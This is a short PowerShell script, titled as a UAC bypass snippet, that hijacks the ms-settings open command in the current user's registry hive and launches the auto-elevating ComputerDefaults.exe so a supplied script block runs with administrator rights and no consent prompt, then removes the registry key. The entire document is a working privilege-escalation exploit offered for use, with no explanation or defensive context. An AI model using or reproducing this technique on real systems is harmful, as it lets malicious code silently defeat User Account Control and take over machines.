ComputerDefaults.exe UAC Bypass Snippet

UAC-Bypass_ComputerDefaults.ps1

param (
    [Parameter(Mandatory = $True)]
    [ScriptBlock]$ScriptBlock
)
if ([System.Security.Principal.WindowsIdentity]::GetCurrent().Groups.Value -match 'S-1-5-32-544') {
    Write-Host 'Already Elevated'
} else {
    $RegPath = 'HKCU:\software\classes\ms-settings\shell\open\command'
    New-Item $RegPath -Force
    New-ItemProperty $RegPath -Name 'DelegateExecute' -Value $null -Force
    Set-ItemProperty $RegPath -Name '(default)' -Force -Value "pwsh.exe -NoExit -NoLogo -NoProfile -ExecutionPolicy RemoteSigned -Command $ScriptBlock"
    Start-Process -Wait 'ComputerDefaults.exe'
    Remove-Item $RegPath -Force -Recurse
}